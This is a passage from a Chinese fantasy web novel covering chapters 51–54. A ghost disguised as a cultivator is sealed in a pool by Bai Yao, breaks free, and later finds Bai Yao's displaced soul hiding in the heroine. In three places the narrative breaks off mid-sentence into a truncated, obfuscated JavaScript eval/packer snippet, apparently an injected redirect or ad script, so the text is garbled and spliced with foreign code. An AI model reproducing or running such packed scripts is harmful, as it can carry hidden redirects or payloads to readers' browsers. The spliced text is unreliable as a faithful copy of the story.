之前她都在琢磨,如果身体换不回来,洗澡该怎么办。虽然有除尘诀,但干洗和水洗的感觉不一样啊! 熟门熟路地杀进谷中,没过多久,他们找到了一片干涸的潭床。占地面积很大,能想象出这里曾经是一汪多么壮阔的潭水。 言隐:“是这里吧,镜心潭。”镜妖诞生的地方。 “显而易见。”白曜示意他们把装着镜妖的檀木盒拿出来,“打开盒子,准备给它挪地儿了。” 言隐将檀木盒交到萧唤月手中,那东西发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没过多久,黑雾散去,那些漂浮的镜面碎片也融化在潭水中,不见了踪迹——八万春在镜妖身上设下的符印仍在起效,它逃不出这汪水潭。 挣扎无果,镜妖开始摆烂。 言隐见潭面恢复了平静,便要上岸去,让白曜做最后一道封印。 然而,他才刚走出一步,刚刚平静下来的水面竟再度开始波动晃漾。深处传来镜片碎裂的声响,像是镜妖呼痛的惨叫。 不远处的岸边,白曜指尖凝聚的金色咒印在暮色中格外刺目。 言隐瞬间明白过来发生了什么,心头火起——他还没上岸,白曜就开始施封印术了! 潭水倒映出言隐苍白变形的脸。这封印术有些古怪,似乎是某种范围性的法术,不单单针对镜妖,连他也受了波及。 察觉到自己的灵力和煞气在体内横冲直撞,言隐不得不调息压制,以免灵力逆流。 镜心潭边,萧唤月正关注着白曜的动向。 眼见言隐在半米高的巨浪中有些站立不稳,她眉心一跳,侧身揪住白曜的领子:“你在做什么?按计划,应该先等他上岸。” 白曜没说话,任由萧唤月对他发难。与此同时,他指尖结印,十二道符咒悬浮成环,本该落在潭心的咒印直扑言隐眉心! “你疯了?!”归燕剑出鞘,萧唤月削下白曜半截衣袖,却没能阻止咒印的成形。 淡淡的金光聚拢在言隐身边,化作锁链将他缠绕住。 这是白曜所知最高级别的封魂术,不止可以用来封印活物,对厉鬼同样有效。 有金光做衬,萧唤月这才看清,言隐周身翻涌的不是水汽,竟是凝成实质的怨煞之气。 “看到了吗。”白曜冷冷道,“他不是人。” 言隐眼中的猩红忽明忽暗,周身煞气四溢。他猜到了白曜的谋算——此举犹如将他丢进虎笼,又给笼子上了把铁锁。 白曜要利用镜妖除掉他。 潭底突然传来镜妖的尖啸,它嗅到了潭中之人身上的气息正在发生变化。 封印术将镜妖与言隐一同封镇,可咒言附带的威压大都施加在了言隐身上,意味着镜妖有空可钻,慢慢去啃他这块硬骨头。 岸边,白曜跟萧唤月已经打起来了。 蓄风枪在空中划出青芒,枪尖凝聚的风旋削断了萧唤月的发丝。 归燕剑横挡三记劈刺,剑光顺着枪杆螺旋而上,白曜束发的缎带同样被萧唤月割断。 两人的头发都乱了,气喘吁吁地对视,如瀑青丝在月光下熠熠生辉。 白曜终于露出森冷神色:“你要帮他?” “冷静一点。他不是人这件事我早就知道了,但并非你想的那样。” “哪样?” “言隐不是居心叵测的坏人。”萧唤月就差对天发誓,“他在丘山从没干过一件坏事,我可以作证。” “现在不干,不代表将来不会干。”白曜眯起眼睛,“非我族类其心必异,这个道理你不懂吗,萧唤月。” “我替他担保。他要是害人,我跟他一块儿去死成吗?” 沉默。 白曜有点怔住。他觉得这可能是萧唤月负气撂下的孩子话,才认识几年,怎么就到了可以为言隐去死的程度。 事实证明萧唤月的确是气性上头,因为她立马补充道:“不过言隐是不会害人的,前提不成立,所以我不用死,他也不用死。” 52. 第 52 章 水潭中央,柳叶飞刀发出清越鸣响,几乎凝成实质的黑雾缠绕在刀身之上。有煞气加持,威力倍增。 刀身化作一道燕影斩向锁链,可锁链没碎,反倒是飞刀断裂成两截。 一击不成,那便再来。共十二柄飞刀,一柄一柄砍过去,锁链开始松动。 言隐默默计数:一、二、三...... 直到第八把飞刀也废掉之后,锁链终于出现一丝裂痕。 另一头的萧唤月还在对白曜晓之以情动之以理,话术软硬兼施,只求白曜当今天的事没发生过。 她的意思是,言隐虽然是鬼,但他是一只好鬼。再说了,鬼生前也是人,不应该对其抱有太大的偏见。她已经论证了人鬼和平共处的可能性,请利益不相关人士白曜不要再钻牛角尖。 白曜却认为她是被鬼迷了心窍:“那只厉鬼活了多少年,你又活了多少年?你那点人生阅历在他面前够看么,他要想玩弄你蒙骗你,都是易如反掌的事,你不该太相信他。” “活了很多年又怎么样,鬼界的日子那么无聊,在那儿活了一百年也比不上别人活一天,这样换算下来他其实比我还小。” “......胡扯。”白曜收起武器,“我不想跟你打,将他放出来可以,但他要回到他该回的地方去。” 萧唤月目光游移:“天大地大,怎么能限制人家的人身自由。” 白曜咬牙:“那再退一步,只要不待在你身边,他去哪里我不管。” 萧唤月琢磨,要不要佯装答应一下呢,等言隐被放出来她再耍赖反悔,白曜好像也不能拿她怎么样。 在不偷袭的情况下,白曜应该打不过言隐,到时言隐是去是留,定不是白曜说了算。麻烦的是白曜可能会与丘山联系,直接揭了言隐的老底...... 思考良久,萧唤月没思考出个结果来。 “这么舍不得他?”白曜盯着她,“等吃了亏再后悔就来不及了,妖不值得相信,鬼也是一样。比起这个来路不明的家伙,你的师兄师姐更值得信任,那个叫路承蕊的......” 话音未落,一抹寒光悄然而至,带着凛冽的杀意,直奔白曜命门而去。 白曜提枪格挡,被这极尽强硬的攻势带得后退了半步,枪身溅出火花,他看清了那柄杀气腾腾的武器。 一枚精巧纤细的柳叶飞刀。 “好险,第九柄也差点废掉。”不知道何时恢复了自由的言隐,一步一步,蹚水走上岸来。 他没捏避水诀,湿透了的发丝贴在颊侧,眼中猩红退却,取而代之的是深不见底的黑。 白曜眼皮一跳,立即转了话风:“等一下,还有的商量。” 他惯会审时度势,判断出言隐实力在自己预估之上,心中便起了悔意——这桩闲事自己非管不可么?萧唤月的事,他多余操什么心呢。 况且萧唤月从来都不听他的。 瞧她那副被迷住的样子,怕是被鬼吃了也甘之若饴。 言隐却没给白曜出言转圜的机会,下一波攻击紧随而至,柳叶刀锋借着风势割开空气,全然抛却了暗器本质,大喇喇往蓄风枪上撞,根本是玉石俱焚的打法。 往武器上倾泻杀意,总比真杀人好。萧唤月忧心忡忡观望了半晌,最后叹口气,退至一旁。 她心想让言隐出出气又怎么,反正这事是白曜先做得不厚道,没商没量的,直接把人封潭里了,这谁受得了。 白曜的枪势被刀路封住,突破不能,望着言隐戏谑的表情,终于发觉言隐并不是要杀他,而是戏弄。 他也忍不住来了脾气,索性弃枪不顾,伸手往乾坤袋里掏兵器,掏到什么用什么,扔标枪似的,一股脑地往言隐那边砸过去。 言隐侧身一躲,一柄长刀飞过来,快准狠地插进了土里,正是他刚才站着的地方。 观战的萧唤月一愣,觉得这刀有点眼熟,她好像曾经打造过这样一柄苗刀,但没派上过什么用场。现在她有了归燕,更是用不上那柄小破刀了。 回忆了一下,才想起那刀早被她借给了白曜,没来得及讨要回来。几年过去,他竟还留着这种新手村装备没扔。 萧唤月烦躁地抓了抓头发,旋身插入两人之间。 归燕剑尖点地划出半圆火线,隔在言隐和白曜中间,像是一道无声的止战信号。 “打得差不多了吧?”萧唤月瞄了一眼散落在地的各种装备,刀枪剑戟,应有尽有,“两位大侠,打架好没风度。” 白曜一挥手,乱七八糟的一堆兵器又飞回到乾坤袋。“我倒是想停手。” 潭水映出三人僵持的身影。萧唤月收了归燕,平视前方,坦然道:“二打一的话,你更打不过。白曜,这件事就当没发生过,言隐的身份,你不要说出去。” 白曜:“好啊。” 这么痛快的态度,反而让萧唤月不敢轻信。 不知为何,她觉得白曜变得跟之前不太一样了,行事风格越发让人琢磨不透。但她本来就不了解白曜,会产生这种错觉大概是因为今天发生的事过于戏剧化,脑子还没转过弯来。 “我突然想起个事。”萧唤月对言隐道,“你是不是会禁言咒?就是那种,可以让人保守秘密的......” 言隐不着痕迹地挺起胸膛:“会。”其实是不久前刚学的,他觉得对于萧唤月和自己这种秘密甚多的人来说,此咒会很有用武之地。 现在果然派上用场。 白曜一脸麻木。好言难劝该死的鬼,萧唤月宁愿信言隐也不信他,他能有什么办法。 做到这种地步已经仁至义尽,他本就用不着对萧唤月尽什么义务,难得发了回善心,收获的竟然是一道禁言咒。 “妥了。”言隐施完咒,笑眯眯地在白曜肩膀上拍了拍,“领了此咒,你便不能说出我的身份,否则......肠穿肚烂,七窍流血。”他靠近白曜,放低了声音,“死后魂魄不入轮回,为我所用。” 白曜拍开肩膀上的那只手,皱起眉头。他不知道言隐是为泄愤而故意夸大其词,还是这咒真有这么厉害。死后魂魄为他所用?简直邪性。 咒言仿佛钻进了舌根,火辣辣的疼。白曜压下心头的慌乱,后知后觉地意识到,自己今天或许做了件蠢事。 有点得意忘形了啊,不该这么鲁莽的。 他的确是存了帮萧唤月一把的心思,想要赶走言隐,免得萧唤月哪天被这来路不明的鬼给弄死。 谁知人家不领情。 “我不会说出去的。以后,你——”白曜指向萧唤月,“还有你,”他又指向言隐,“你们两个,离我远点,我们井水不犯河水就是。” 目前他还没有看到言隐的实力上限,明智地选择不再招惹。至于萧唤月......她已经踏入修仙境这么多年了,他很难再继续干涉她的人生。 萧唤月被白曜这突然转变的态度搞得有点懵,怎么几分钟前还在管她的闲事,现在就要跟她大路朝天各走一边。 不过萧唤月还是顺从地点了点头:“好的。” 她本来也没想跟白曜过多接触,那番话正好合了她的意。 白曜没在说气话。他正在认真思考一种可能性——要不试着放下往事与执念,好好过日子? 里云宫的宫主之位,已是非他莫属。未来形势一片大好,何必再跟这个断了血缘的妹妹计较。 萧唤月问:“还有什么要补充的吗?”毕竟给白曜粗暴地下了禁言咒,她心里有那么一点点愧疚,态度也变得缓和起来。 白曜冷冷地转过身去:“没有,我要回里云宫了。” 萧唤月:“我和言隐要去十燕城。” 白曜:“不同路。” 萧唤月:“那......就此别过?” 白曜:“嗯。” “等等。”言隐忽然侧身,伸手拦住了白曜的去路。 “有事?” “我还没有问你。” “什么。” “你是怎么看出......我不是人的?”言隐似笑非笑地凑近了他,“我一直很谨慎,应该没有暴露才对。” 有时候,他自己都会忘记自己是鬼,在系统和萧唤月的双重改造下,他正朝着阳光活人的方向飞速进化,偶尔回趟鬼界,居然还会觉得不适应。 “......噬魂阵里只有你没出事,那时我便察觉到,你的魂魄异于常人。”白曜拨开他拦路的手,“况且方才,那针对妖邪的封印术竟然对你也有效,逼出了你的怨煞之气。不难看出你是鬼吧?” 言隐切了一声,收回手,算是勉强接受了这个解释。 当初拜入玉胥宗时,他顺利通过了弟子资质测验,连长老都没有发现不对劲,可见他扮演人类修士是多么得心应手,从剑术施展到灵力控制,全方位无死角模仿活人,不曾想今日居然栽在一个小小噬魂阵上。 白曜似乎片刻不想多待,连再见也没有说一声,只朝萧唤月看了一眼,便头也不回地离开了。 萧唤月望着他的背影有点恍神。突然想起记忆碎片里,幼年时期的白曜哭着要找妹妹,大概是迫于寂寞,希望能有一个同龄玩伴相陪。 她小时候也幻想过如果有兄弟姐妹会是怎样,从娘胎里就开始的交情,应当比寻常朋友要强上不少,就算吵架也会被爹娘按头和好。 不过如今大家都长大了,以前想要的现在未必想要——童年时期那种幼稚浅薄的渴求已经消失,白曜和她终究不是同路人。 * 解决完这边镜妖的事,萧唤月和言隐马不停蹄地赶往十燕城。 不知路承蕊和昭意那边怎么样了,一直未曾来信,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正值修仙界动荡之际,归虚长老仙逝,对于玉胥宗来说无疑是个坏消息,不宜宣扬。也正因如此,玉胥宗不会大张旗鼓地召回所有弟子,“追悼会”这种东西是不存在的。 何况以归虚长老生前的行事作风来看,她绝对不会喜欢被人瞻观遗体。 “消息是昨天才收到的,想着你们已经在路上了,索性在这里等你们。”路承蕊看上去有些烦躁,但还是尽可能让语气显得温柔一些,在师妹师弟面前她不愿展现出不可靠的一面。 萧唤月:“那我们接下来该去哪儿呢,也回丘山么。” “昭意说他一个人回去就足够,我们继续在外执行任务。” “可是我们的任务不是已经结束了吗?”萧唤月有点傻眼。 “嘘。”路承蕊用一根手指封住唇,小师妹真是老实得让人想落泪,这点门道都不懂。“自下山以来,你们一直兢兢业业,斩妖除魔。劳累了这么久,当然得给自己留一点休息时间了。” “这样真的可以吗......” “昭意是负责记录任务情况的那个,他说没完成,就是没完成。借此机会,在十燕城休整几天吧。” “那露叶连长老那边......” 路承蕊摇了摇头:“平常心看待就好。” 这句话听起来有点冷漠,宗门长老已驾鹤西去,弟子们竟还在山下寻欢作乐。然而宗主的意思就是这样,大家该干啥就干啥,不必特意回来一趟。有在外出任务的弟子申请回山吊唁,都被一概驳回了。 唯一一个被批准回宗的昭意,也只是帮忙操持一些边缘事务,俗称打杂。 萧唤月咋舌:露叶连长老着实太低调了点。活着的时候就是深居简出的性子,死后更是连一根头发丝都不愿示众。 “师姐,你见过露叶连长老吗。”萧唤月忽然有点好奇。 路承蕊想了想:“见过一面,当时我跟随八万春长老去看望她,但她似乎不想让我进去,所以我只是在悴平洞外站着,没跟她说上话。” “好神秘哦,露长老。” “是啊。” 关于长老的话题就到此为止,似乎顾忌有外人在场,路承蕊没有说得太详细,她看了眼花梁燕,不明白这种场合花梁燕为什么不主动离开,反而留在这里听她们师姐妹讲话。 不过这几天相处下来她对花梁燕观感不错,也就睁只眼闭只眼了。何况宗主传来的信里明确表明,露叶连仙逝的消息不必瞒着花监正,意思是此人可堪信任。 言隐在门边倚着,站得比花梁燕还远。他对于露叶连去世这件事没有任何感触,半张脸埋在阴影里,表情都懒得做,试图靠站位降低存在感,就当没人注意到自己。 “小师妹,你父母不也在这里么,难得回趟十燕城,你记得抽空去看看他们。”路承蕊很贴心地补充。 53. 第 53 章 萧唤月第三次从同样的噩梦中惊醒时,窗外的落叶正簌簌敲打着青瓦。 她盯着帐顶银线绣的流云纹,冷汗顺着脊梁滑进被褥。 已经很久没做过噩梦了......自从她踏上仙途之后。 可不知为何,近日又开始噩梦缠身,梦中的主角竟然是白曜。 都说日有所思夜有所梦,这就怪了,平日里她从不记挂白曜,偶尔想起这个人,也只是柳枝拂过水面晃起波纹——这般转瞬即逝的程度。 梦里的白曜永远站在血雾里,左胸的窟窿汩汩涌出黑气,那些雾气像活物般缠上她的脚踝,要将她拉入不见天日的深渊。 即便已从梦中醒来,潮湿粘腻的触感似乎仍然停留在皮肤上,难以忽视。 萧唤月起身下床,头重脚轻的不适感差点令她一头栽倒。 "月儿又没睡好?"云婉端着杏仁酪进来时,正巧目睹了这一幕,急匆匆放下盘子,就要去扶她。 铜盆里的热水蒸腾起白雾,萧唤月迷茫了片刻,在掺着食物香味的热气中清醒了几分。 盯着母亲鬓角新生的白发,她忽感心酸,脱口而出:“娘!”此刻好像才终于彻底从梦中的深渊挣脱出来,一脚踩在了实地上。 “欸,怎么了?” “......没事,叫着玩儿。”萧唤月笑嘻嘻地抱住了云婉,脑袋在她肩膀上蹭来蹭去。 还是报喜不报忧的好,有些事情告诉父母,只会让他们徒增忧虑。 在家里住的这几天里,爹娘几乎对她百依百顺,连早饭都直接送到房间里来,简直当她是不能自理的小孩子。当她提出要帮忙做点事,通常都会遭到夫妇俩的一致反驳。 可云婉和萧吟山心里是明白的,女儿是有大能耐的人,而他们呢,已经这么老了,又是普通人,能帮到女儿的地方实在不多,只能在这些细枝末节上较真,好像这样就能生出一种错觉来——女儿依然在他们的羽翼庇护之下。 母女俩依偎着说了好一会儿体己话,云婉才离开房间,留萧唤月自己在房内洗漱梳妆。 在镜前梳头时,铜镜边缘漫出微不可察的冰纹。寒气贴着后颈游走,萧唤月哆嗦了一下,抬起头来,目光正对上镜子里自己的眼睛。 一种奇怪的感觉涌上心头,她一眨不眨地看着镜中的自己,居然觉得有点陌生。 她将手指缓缓贴在冰冷的镜面上,描摹起自己的轮廓。镜中人做出与她一样的动作,指尖相接。 然而在她将要收回手指的时候,镜面泛起涟漪,像被风搅乱了的池水。 镜中那张秀丽的脸出现了一瞬间的扭曲,脸颊轮廓变得更锐利,泼墨似的长发垂在两侧。 萧唤月一愣,她好像,梳了头的吧? 这诡异的一幕让她呼吸都停滞住,镜子里的人不是自己,堪称恐怖片走进现实。 不过现在萧唤月也不是一般人了,正儿八经的修行人士,跟鬼怪碰一碰还不知道谁输谁赢。她大着胆子抬起头,观察镜中人的样子。 ......忽然觉得里面那张脸越看越眼熟。 性转版的她自己? 虽然披头散发的像个女鬼,但五官与她十分相似,只是要硬朗一些......可不就是白曜么? 可惜这面铜镜做工不是太精湛,又或许是光线原因,镜中景象不是很清晰,五官细节有些模糊。 她正要凑近仔细勘察的时候,镜中的脸再次扭曲,又变回她原本的模样了。少女疑惑的神情映在镜中,那披头散发的幽怨鬼仿佛从未出现过。 怪事,怪事。撞邪了么? 萧唤月掏出罗盘,在房间里四处走动,像探测器一样搜查来搜查去,每个角落都不放过,然而指针始终没动,这代表房间内并无鬼气。 她开始怀疑自己,莫不是被噩梦影响,青天白日的产生了幻觉。 思量了一番,她决定在房间里贴上几张符,镇一镇那不知是否存在的镜中鬼。 此时萧府门口来了马车,车夫客客气气地朝云婉表明来意,说来接萧小姐。云婉认得这辆马车,轿帘上绣着青面兽纹,据说是钦天监的图腾。 云婉见怪不怪,将萧唤月从府中叫出来,临行前悄悄同她耳语:“你是去见花监正,还是那个言隐?” 她打着哈哈敷衍过去:“都见。” 言隐和路承蕊都住在钦天监安排的地方,并不与萧唤月同住。期间这两人可以动用钦天监名下的马车,以便出行。 萧唤月心知,这马车多半是被言隐派来接她的。 师姐虽待在十燕城,却并没有闲着,天天同钦天监那帮老头一起研究星象。只有言隐无所事事,闲得没趣,自然要来找她玩耍。 上了马车,萧唤月没忘记叮嘱云婉:“娘,我的房间你们暂时不要进去。” 镜中鬼的事,正好找言隐商量商量。 市集喧嚣裹着桂花糖的甜腻涌进马车,吵吵嚷嚷的叫卖声掺杂着小孩们的笑闹。 萧唤月心里一动,叫停了马车。 她掀开帘子,想要下去买点吃的。热乎乎的桂花糖,光是想想口感,就令人食指大动。 掀帘的手突然顿住,她看到小铺前三个地痞正围着卖绢花的少女调笑。少女脸上露出明显不乐意的神色,但又不敢得罪了他们,勉强赔笑道:“各位好汉,我也只是做小本生意,实在交不起太多那个,那个......保护费。” 地痞甲:“你今天给一点,明天给一点,久而久之,不就凑够了么。先看看今天赚了几文钱?我只收七成,不全拿,如何?” 周围的小商贩眼神不停往这边瞅,步子却迈不开,嘴里吆喝也没停。这几个地痞要钱说少不少,说多却也不多,一天只收一家的保护费,收了那姑娘的,就不会来收他们的了。 不过地痞们今日讨要的数额比平常都要大,显然是存了坏心,料定年纪小的更好欺负。 萧唤月皱了皱眉,有些看不下去。她指尖聚起剑气,对准三人后脑勺,一人给了一下。力道拿捏得很好,让他们不至于昏死过去,但痛感很足。 地痞甲惨叫起来:“哎哟,哪个狗日的,拿石头砸我!” 萧唤月挽起袖子跳下马车,一夫当关的气势唬得那地痞往后退了一步。“我!” 她挡在小姑娘面前,指着那三人,“有手有脚的为什么不自己找工作,实在不行去讨饭呐,逮着老实人欺负算什么本事,再让我看见你们敲诈勒索,见一次打一次。” 地痞们不满被她说教,然而还没出言反击,就被萧唤月一人赏了个脑瓜崩。 地痞乙来了火气,一拳打过去,被萧唤月截住手腕,立马“哎哎哎”地痛呼起来,“放手,放开我!” 地痞丙:“还是个练家子!” 他自认是三人之中最能打的,矮身一个扫堂腿过去,誓要萧唤月出尽洋相。然而扫到一半,就被萧唤月后撤躲开,顺势一脚踢在他肩头,把他踢得仰天躺倒。 “你自己先动手的。”萧唤月翻了个白眼,“你们三个,绑在一起都打不过我,别白费力气了。” 地痞甲最识时务,看出她的确有本事,立马扶起两个兄弟,嘿嘿笑了两声,态度一百八十度大转弯:“竟是位武功高强的女侠。算我们有眼不识泰山,这就走,这就走了。” 萧唤月认真地胡诌:“别想着等我走了再来,我在附近有很多小弟,都是我的眼线。他们呢,武功只比我差一点点,以后要是看见你们再做这种事,就会直接代我教训你们。” 嘴上说着唬人的话,但萧唤月心里知道这不是长久之计,她终究要离开十燕城的,到时这些地痞若卷土重来,她也没有办法。 还是直接报官最好,人间的事就应该用人间的方式来解决。 可这些小商贩对于地痞们的敲诈勒索都见怪不怪,且都达成一种共识——官府不会管这种小事。 “好......好的,我们保证不再做坏事!”地痞甲似乎信了她的话,露出惶恐的模样。 可下一句话又似乎是在试探萧唤月:“您的小弟一般在哪里活动呢?以后若见面,我好同他们打个招呼。” “不必,他们都很低调。”萧唤月摆摆手,“赶紧走......” 话音未落,一个玄色身影落在她面前,束袖武服被风吹得猎猎作响。“我就是她小弟。” 萧唤月只看了面前人一眼,立马流畅地接过话:“不错,这位是我的小弟之一,我说过,他很低调,一般不在人前露面,今天是例外。” 地痞丙吞了吞口水,拉扯着同伴的袖子:“走了,走了。” 别人没看见,他可是看见了,刚才那男的是直接从几层小楼那么高的树枝上倒悬着落下来的,像夜枭一样灵活,还在半空中换了姿势,稳稳着地。 这能是普通人么! 三个地痞逃之夭夭,言隐没再向他们投去过多眼神,转头对着萧唤月道:“本来是图新鲜才动用了这马车,没想到马跑这么慢,半天等不到你,我干脆自己出来找。” 车夫试图辩解:“言公子......此处禁止疾行。” “哦。”言隐浑不在意,“不管了,反正我本人都已经在这里,也用不着你接萧唤月了,你自己先回去吧。” 车夫爽快听令,驾起车走远了。 周围的商贩路人,眼睛都有意无意地朝萧唤月这边瞟,似乎想上前攀谈,却又不敢。 那卖绢花的少女对着萧唤月不住道谢,后者淡淡一笑,拉着言隐抽身离去,尽显高人风范。 直至到了无人处,萧唤月才松了口气:“以后我还是低调点的好,站在人群里压力好大,刚才还听到人堆里有小孩儿偷偷叫我大姐大。” “那不是很好。” 萧唤月不置可否地撇了撇嘴。 她一向秉持明哲保身的原则,但不知是不是跟着师兄师姐混了太久,也染上几分英雄气来。路见不平拔刀相助,以前她可不会这样做,最多偷摸报个官。 “你眼下怎么有青黑。”言隐忽然俯身盯着她看,“不应该啊,没休息够?” 萧唤月想起镜中鬼的事情,啊了一声,被地痞甲乙丙一打岔,差点把正事给忘了。 “我刚想跟你说这件事呢,是这样......” 她将这几日做的噩梦都告知言隐,又详细说了早上遇到的古怪事,忧虑道:“不能是我的幻觉吧,我精神挺正常的啊。”揉了揉脑袋,她不太确定地问,“是吧?” 言隐拧眉思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她声称自己有众多小弟,可他们哥仨在街坊混迹这么久,从没听说过附近有什么行侠仗义的大帮派。她身边那个夜枭一样神出鬼没的小子,也没展现出打架的真本事。在高树上倒挂金钩,好像演杂技的也能做到吧? 黑脸汉子断定:“那姑娘,是个有点本事的练家子,但也仅此而已了。你们看,蹲守她这么久,也没见她的小弟们冲出来揍我们,可见她白天的话信不得,那玄色衣服的小子,只是在跟她打配合。” 剩下两人连连点头:“老大说得有理,就算小娘子身上有几分功夫,我们三个身强力壮的汉子,还能吃了亏不成,摸黑偷袭,给她脑瓜上来那么一下,她肯定反应不过来。” 黑脸汉子纠正:“什么偷袭!那叫先手。” 三人蹲在墙后,做了好一番心理建设,迟迟没有走出去,最后还是黑脸汉子面色一凛,扭头道:“走!” 然而他刚要迈出脚,忽见眼前景象变得朦胧不已,街道中的蒙蒙雾气泛着青灰,本该聒噪的夏蝉全都噤了声。 而且,那小娘子的身影竟已消失无踪。 黑脸汉子疑心自己看花了眼,回头却见自己两个兄弟战战兢兢抱作一团:“老......老大。” 他训斥:“慌什么!” 身前十丈外草叶窸窣,槐树的影子若隐若现。 顺着两个兄弟的目光看过去,黑脸汉子才发现,树下不知何时多了个人影,看身型像是男子,一头长发却不曾束起,随风飘动,有种阴森怪异的美感。 地痞乙弱弱道:“老大,这地方邪门得紧......” “怕个卵!说不定人家只是想晚上出来散心懒得扎头发,我先,我先去......”他想说自己先去探探路,可声音越来越小,像是被无形的手掐住了脖子。 眼前的景象实在怪异,他不敢再逞能托大,咽了口口水,退回阴影之中。 雾气在月光下变成黏稠的墨色,街景一片模糊,只有老槐树的模样重又变得清晰起来。 在三人都打起退堂鼓之时,槐树叶子簌簌抖动,像是活过来了一般。 那树明明是没长腿的死物,却以肉眼可见的速度朝着他们的方向移动。无数枯枝化作骨节分明的手掌,挂着半腐的皮肉朝他们抓挠。 “鬼!有鬼啊!” 地痞们连滚带爬时,枯枝残叶扫过他们的后颈,留下血色指痕,惊得他们□□洇出腥臊水渍。 这下他们彻底吓破了胆,拼命尖叫着挥开那些枯枝,再不敢想什么报仇的事,心里只有一个念头,那就是离这个地方越远越好! 萧唤月倚在槐树边,一脸莫名地望着不远处那三个狼狈逃窜的身影。 男人们的尖叫实在刺耳极了,她自然听得出来,是白日里那三个作乱的地痞,不知看见了什么,吓成这样。 声音越来越远,看样子不是冲她来的,大概是路过此地被狗撵了。萧唤月记得,附近有条凶恶的大黄狗来着。 但是没听见狗叫啊......萧唤月灵光一闪,心道这三人莫非是因为碰见了她才被吓跑的?好像不是没可能啊,她白天可是在他们仨面前露了一手,威慑力够够的。 又等了一刻钟,她百无聊赖地数着叶子。 微风习习,她转头望向街口飘动的酒旗,隐约见玄衣一角闪过。心中一喜,她立刻招手道:“言隐!” 54. 第 54 章 言隐慢悠悠走到她面前,眼神飘忽。 吸饱了阴气之后,他模样变得与平常不太一样,不过几个时辰后就会恢复。 此时若仔细观察的话,就能看到他瞳孔深处燃起幽冥鬼火般的颜色,耳后皮肤也浮现出细如发丝的血纹。 萧唤月怔怔地看着言隐,对于他是鬼王这件事终于又有了实感。幸好是只俊俏的鬼,皮肤煞白成这样,也没有显得太可怕。 “别怕。”鬼王指尖点在她眉心,她陡然陷入深海般的黑暗。 眼前看不到任何东西,这令萧唤月心中升起些许不安,但她克制住逃跑的冲动,站在原地任由言隐动作。 “......好了吗?” 言隐没有立刻回答,挑了挑眉,似乎对眼前的状况感到疑惑。 “你周围没有灵体,可我看到你身上有鬼气,白天的时候还没这么明显。”言隐解释道,“看起来,你像是被鬼上身了。” 萧唤月大惊:“啊?!” “你修为不低,我原本没考虑过这种情况。”言隐若有所思道,“按理说寻常的孤魂野鬼都近不了你身,更别提夺舍了。” “照这个逻辑,这些天影响我的......可能是修为高强的厉鬼?” “不确定,我需要再看看。如果感到不适,就跟我说。”言隐指尖的灵力细如丝线,探入萧唤月识海。 毕竟吸食了不少阴气,眼下言隐体内的灵力并不纯粹,正好能在这时候更加敏锐地探测到同类行踪。 “唔,不能说夺舍,你身体里这只鬼,应该只是借宿而已。” “所以我体内真有一只鬼?” “嗯,我感觉到它了。” “这是能随便借宿的地方吗!”萧唤月满脸抗拒,五官都快皱成一团,“我的身体里只能有我一个,言隐,你让它出来啊!” 言隐有点慌张地安抚她:“别急,我肯定把这无名小鬼揪出来。” 努力半晌之后,言隐啧了一声:“它的魂魄脆得像纸一样,几乎不成形,好难抓啊。” “不成形?” 萧唤月有点意外,她还以为这鬼厉害得很,怎么听起来好像很弱的样子。这种程度连孤魂野鬼都不如吧,至少人家还能显形。” “我试试给他注入一点阴气,再把他拉出来。” 半个钟过去,在言隐的一番艰难操作之下,他终于触摸到那个飘忽不定的人影。 似乎是个男人,年纪不大,身形还是少年模样。头发很长,眼神悲伤,长得......长得怎么这么像萧唤月? 言隐惊得手一抖:“喂,你哥好像真死了。” “?” “上你身的那只鬼......跟白曜长得一样,而且,他的魂魄在如此脆弱的情况下还能附着在你身上,只能说明你们血缘相近。” 言隐一时失了主意,既然是认识的人那就不太好来硬的了,万一把白曜拉出来之后他直接魂飞魄散了怎么办,这魂魄状态明显不对劲啊。 萧唤月眼皮一跳,命运不能跟她开这种玩笑吧。白曜要是真死了,不去找白江,反来缠着她做什么? “......他现在看起来怎么样,能说话么。”她问言隐。 “不能,但我可以多渡点阴气给他,这样我就能看到他的‘念头’,与他无障碍沟通。” 事已至此,也没有别的办法了。萧唤月一脸麻木地坐在树下,任由言隐往自己体内渡入阴气。 这个过程漫长得惊人,由于阴气大都被体内那只鬼魂吞掉了,萧唤月并没感到有什么不适。 这些阴气对于魂魄的滋养作用有限,魂魄离了□□,一直游荡在人间,终究是会消散的。 更何况,白曜的魂魄看起来像是受过重击的样子。要不是躲在萧唤月的身体里,说不定已经随风而逝了。 言隐尽职尽责充当翻译官,解读完白曜的“念头”,再将其转述给萧唤月。 白曜还活着的时候,从来没有过这么话痨的时刻。数日来满腹冤屈无人可诉,如今终于有了倾诉的机会,他的情绪似乎激动起来,魂魄像风中火苗似的,一闪一闪。 言隐愣愣地点头:“哦......哦?” 萧唤月:“他说什么?” “他说,那天在悟道崖噬魂阵中,你和他本该将各自的魂魄归位,可你的魂换回去了,他的却换不回去,因为他的身体被另一个魂魄所占据了。” 萧唤月听得晕晕乎乎:“谁占了谁?” 言隐同声传译:“那个四不像的怪物,占了白曜的身体。” “四不像......”萧唤月反应过来,“东生?” 事情突然说得通了。 东生那天爬上悟道崖,不可能只是为了给萧唤月烘个衣服。他把手搭在她肩膀上的那一刻,大概就已做好了占据那具身体的准备——当时萧唤月还顶着白曜的壳子。 而倒霉的白曜本人,在噬魂阵起效时,被挤进了东生的身体里,代替他掉下悬崖,当场一命呜呼。 